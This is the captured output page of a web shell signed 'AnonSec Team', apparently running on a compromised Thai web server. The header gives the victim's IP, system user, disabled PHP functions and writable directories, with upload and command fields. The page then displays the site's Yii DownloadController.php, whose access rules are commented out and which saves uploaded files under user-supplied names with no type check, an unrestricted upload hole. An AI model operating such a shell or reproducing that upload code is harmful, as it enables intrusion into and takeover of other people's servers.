NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.221.85.236
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/controllers/DownloadController.php
<?php

class DownloadController extends Controller
{
/**
* @var string the default layout for the views. Defaults to '//layouts/column2', meaning
* using two-column layout. See 'protected/views/layouts/column2.php'.
*/
 
public $layout = '_layout-backend-admin';
/**
* @return array action filters
*/
public function filters()
{
return array(
'accessControl', // perform access control for CRUD operations
);
}

/**
* Specifies the access control rules.
* This method is used by the 'accessControl' filter.
* @return array access control rules
*/
/* public function accessRules()
{
return array(
array('allow',  // allow all users to perform 'index' and 'view' actions
'actions'=>array('index','view'),
'users'=>array('*'),
),
array('allow', // allow authenticated user to perform 'create' and 'update' actions
'actions'=>array('create','update'),
'users'=>array('@'),
),
array('allow', // allow admin user to perform 'admin' and 'delete' actions
'actions'=>array('admin','delete'),
'users'=>array('admin'),
),
array('deny',  // deny all users
'users'=>array('*'),
),
);
}
 */
/**
* Displays a particular model.
* @param integer $id the ID of the model to be displayed
*/
public function actionView($id)
{
$this->render('view',array(
'model'=>$this->loadModel($id),
));
}



/**
* Creates a new model.
* If creation is successful, the browser will be redirected to the 'view' page.
*/
 

public function actionCreate()
{
$model=new TbDownload;

// Uncomment the following line if AJAX validation is needed
// $this->performAjaxValidation($model);

if(isset($_POST['TbDownload']))
{
$model->attributes=$_POST['TbDownload'];
$model->path=CUploadedFile::getInstance($model,'path');
            if($model->save())
            {
				  $imageName =$_FILES["TbDownload"]["name"]["path"];
                $model->path->saveAs('images/file/'.$imageName);
                // redirect to success page
			 
 				$this->redirect(array('admin'));
            } else {
				
				$this->render('create',array(
				'model'=>$model,
				));
				}
 

} else {

$this->render('create',array(
'model'=>$model,
));
}
}

/**
* Updates a particular model.
* If update is successful, the browser will be redirected to the 'view' page.
* @param integer $id the ID of the model to be updated
*/
public function actionUpdate($id)
{
$model=$this->loadModel($id);

// Uncomment the following line if AJAX validation is needed
// $this->performAjaxValidation($model);

if(isset($_POST['TbDownload']))
{
$model->attributes=$_POST['TbDownload'];
if($model->save())
 $this->redirect(array('view','id'=>$model->id));
}

$this->render('update',array(
'model'=>$model,
));
}

/**
* Deletes a particular model.
* If deletion is successful, the browser will be redirected to the 'admin' page.
* @param integer $id the ID of the model to be deleted
*/
public function actionViewDownload($id)
{
$this->render('viewDownload',array(
'model'=>$this->loadModel($id),
));
}
public function actionAdminDownload()
{
$model=new TbDownload('search');
$model->unsetAttributes();  // clear any default values
if(isset($_GET['TbDownload']))
$model->attributes=$_GET['TbDownload'];

$this->render('adminDownload',array(
'model'=>$model,
));
}


public function actionCreateDownload()
{
$model=new TbDownload;

// Uncomment the following line if AJAX validation is needed
// $this->performAjaxValidation($model);

if(isset($_POST['TbDownload']))
{
$model->attributes=$_POST['TbDownload'];
$model->path=CUploadedFile::getInstance($model,'path');
            if($model->save())
            {
				  $imageName =$_FILES["TbDownload"]["name"]["path"];
                $model->path->saveAs('images/file/'.$imageName);
                // redirect to success page
			 
				 OtherFunction::setlogadmin(Yii::app()->session['admin_id'],"สร้างดาวน์โหลด");
				$this->redirect(array('adminDownload'));
            } else {
				
				$this->render('createDownload',array(
				'model'=>$model,
				));
				}
 

} else {

$this->render('createDownload',array(
'model'=>$model,
));
}
}

public function actionDeleteDownload($id)
{
if(Yii::app()->request->isPostRequest)
{
// we only allow deletion via POST request
$this->loadModel($id)->delete();
 // if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser
if(!isset($_GET['ajax']))
$this->redirect(isset($_POST['returnUrl']) ? $_POST['returnUrl'] : array('admin'));
}
else
throw new CHttpException(400,'Invalid request. Please do not repeat this request again.');
}

/**
* Lists all models.
*/
public function actionIndex()
{
$dataProvider=new CActiveDataProvider('TbDownload');
$this->render('index',array(
'dataProvider'=>$dataProvider,
));
}

/**
* Manages all models.
*/
public function actionAdmin()
{
$model=new TbDownload('search');
$model->unsetAttributes();  // clear any default values
if(isset($_GET['TbDownload']))
$model->attributes=$_GET['TbDownload'];

$this->render('admin',array(
'model'=>$model,
));
}

/**
* Returns the data model based on the primary key given in the GET variable.
* If the data model is not found, an HTTP exception will be raised.
* @param integer the ID of the model to be loaded
*/
public function loadModel($id)
{
$model=TbDownload::model()->findByPk($id);
if($model===null)
throw new CHttpException(404,'The requested page does not exist.');
return $model;
}

/**
* Performs the AJAX validation.
* @param CModel the model to be validated
*/
protected function performAjaxValidation($model)
{
if(isset($_POST['ajax']) && $_POST['ajax']==='tb-download-form')
{
echo CActiveForm::validate($model);
Yii::app()->end();
}
}
}

Anon7 - 2022
AnonSec Team